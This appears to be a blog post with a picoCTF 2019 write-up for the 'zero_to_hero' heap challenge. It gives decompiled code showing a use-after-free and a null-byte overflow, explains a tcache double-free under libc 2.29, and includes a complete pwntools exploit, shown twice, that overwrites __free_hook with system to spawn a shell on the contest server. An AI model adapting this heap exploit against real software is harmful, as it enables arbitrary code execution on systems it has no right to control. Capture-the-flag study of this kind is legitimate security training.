//libc 2.29, so tcache protection with keys
void add(void)
{
long lVar1;
void *pvVar2;
ssize_t sVar3;
long in_FS_OFFSET;
uint local_28;
int local_24;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = 0;
local_24 = FUN_004009c2(); //7 chunks only, doesn't reduce number
if (local_24 < 0) {
puts("You have too many powers!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf(&DAT_00400f0b,&local_28);
getchar();
if (0x408 < local_28) { //can't go over 0x408
puts("Power too strong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
pvVar2 = malloc((ulong)local_28);
*(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2; //stored at array at 00602060
puts("Enter your description: ");
printf("> ");
lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
*(undefined *)(sVar3 + lVar1) = 0; //null byte overflow
puts("Done!");
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void delete(void)
{
long in_FS_OFFSET;
uint local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf(&DAT_00400f0b,&local_14);
getchar();
if (6 < local_14) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); //use after free, not setting to 0
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void menu(void)
{
puts("1. Get a superpower");
puts("2. Remove a superpower");
puts("3. Exit");
return;
}
void main(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
int local_2c;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
sVar1 = read(0,local_28,0x14);
local_28[sVar1] = 0;
if (local_28[0] != 'y') {
puts("No? Then why are you even here?");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can\'t convince you otherwise.");
printf("It\'s dangerous to go alone. Take this: %p\n",system);
while( true ) {
while( true ) {
menu();
printf("> ");
local_2c = 0;
__isoc99_scanf(&DAT_00401040,&local_2c);
getchar();
if (local_2c != 2) break;
delete();
}
if (local_2c == 3) break;
if (local_2c != 1) goto LAB_00400dce;
add();
}
puts("Giving up?");
LAB_00400dce:
/* WARNING: Subroutine does not return */
exit(0);
}
void printflag(void)
{
int iVar1;
FILE *__fp;
__fp = fopen("flag.txt","r");
if (__fp != (FILE *)0x0) {
while( true ) {
iVar1 = _IO_getc((_IO_FILE *)__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
}
return;
}
void add(void)
{
long lVar1;
void *pvVar2;
ssize_t sVar3;
long in_FS_OFFSET;
uint local_28;
int local_24;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = 0;
local_24 = FUN_004009c2(); //7 chunks only, doesn't reduce number
if (local_24 < 0) {
puts("You have too many powers!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf(&DAT_00400f0b,&local_28);
getchar();
if (0x408 < local_28) { //can't go over 0x408
puts("Power too strong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
pvVar2 = malloc((ulong)local_28);
*(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2; //stored at array at 00602060
puts("Enter your description: ");
printf("> ");
lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
*(undefined *)(sVar3 + lVar1) = 0; //null byte overflow
puts("Done!");
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void delete(void)
{
long in_FS_OFFSET;
uint local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf(&DAT_00400f0b,&local_14);
getchar();
if (6 < local_14) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); //use after free, not setting to 0
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void menu(void)
{
puts("1. Get a superpower");
puts("2. Remove a superpower");
puts("3. Exit");
return;
}
void main(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
int local_2c;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
sVar1 = read(0,local_28,0x14);
local_28[sVar1] = 0;
if (local_28[0] != 'y') {
puts("No? Then why are you even here?");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can\'t convince you otherwise.");
printf("It\'s dangerous to go alone. Take this: %p\n",system);
while( true ) {
while( true ) {
menu();
printf("> ");
local_2c = 0;
__isoc99_scanf(&DAT_00401040,&local_2c);
getchar();
if (local_2c != 2) break;
delete();
}
if (local_2c == 3) break;
if (local_2c != 1) goto LAB_00400dce;
add();
}
puts("Giving up?");
LAB_00400dce:
/* WARNING: Subroutine does not return */
exit(0);
}
void printflag(void)
{
int iVar1;
FILE *__fp;
__fp = fopen("flag.txt","r");
if (__fp != (FILE *)0x0) {
while( true ) {
iVar1 = _IO_getc((_IO_FILE *)__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
}
return;
}
Now, there is a UAF (which will allow for double frees later) and a null byte overflow during allocation. How do we beat the libc 2.29 check in this scenario?
First, we allocate something, then allocate another chunk (let's say size 0x150). We free both the chunk above and this 0x150 chunk (real size 0x160 because metadata). Then we re-allocate something of the first size to get that chunk back and this time, null byte overflow the size field below. We can re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).
We can then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free by which we can overwrite next pointers for the 0x100 tcachebin.
Then, we can manipulate free hook to pop a shell by calling “free” (now overwritten with system) on a chunk with “/bin/sh." Also, the leak is already given to use in the beginning in the form of system(). Here is my final exploit:
from pwn import *
elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism
#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)
def wait():
p.recvrepeat(0.5)
def initiate(): #get libc leak too
wait()
p.sendline('y')
p.recvline()
p.recvline()
leak = p.recvline().split('this: ')[1][2:]
leak = int(leak, 16)
return leak
def alloc(size, data):
wait()
p.sendline('1')
wait()
p.sendline(str(size))
wait()
p.sendline(data)
def delete(index):
wait()
p.sendline('2')
wait()
p.sendline(str(index))
system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250: 0x0000000000000000 0x0000000000000061
0xde2260: 0x0068732f6e69622f 0x4141414141414141
0xde2270: 0x4141414141414141 0x4141414141414141
0xde2280: 0x4141414141414141 0x4141414141414141
0xde2290: 0x4141414141414141 0x4141414141414141
0xde22a0: 0x4141414141414141 0x4141414141414141
0xde22b0: 0x4141414141414141 0x0000000000000100
0xde22c0: 0x0000000000000000 0x0000000000de2010
0xde22d0: 0x4242424242424242 0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()
elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism
#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)
def wait():
p.recvrepeat(0.5)
def initiate(): #get libc leak too
wait()
p.sendline('y')
p.recvline()
p.recvline()
leak = p.recvline().split('this: ')[1][2:]
leak = int(leak, 16)
return leak
def alloc(size, data):
wait()
p.sendline('1')
wait()
p.sendline(str(size))
wait()
p.sendline(data)
def delete(index):
wait()
p.sendline('2')
wait()
p.sendline(str(index))
system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250: 0x0000000000000000 0x0000000000000061
0xde2260: 0x0068732f6e69622f 0x4141414141414141
0xde2270: 0x4141414141414141 0x4141414141414141
0xde2280: 0x4141414141414141 0x4141414141414141
0xde2290: 0x4141414141414141 0x4141414141414141
0xde22a0: 0x4141414141414141 0x4141414141414141
0xde22b0: 0x4141414141414141 0x0000000000000100
0xde22c0: 0x0000000000000000 0x0000000000de2010
0xde22d0: 0x4242424242424242 0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()
Zero to hero is finished!
No comments:
Post a Comment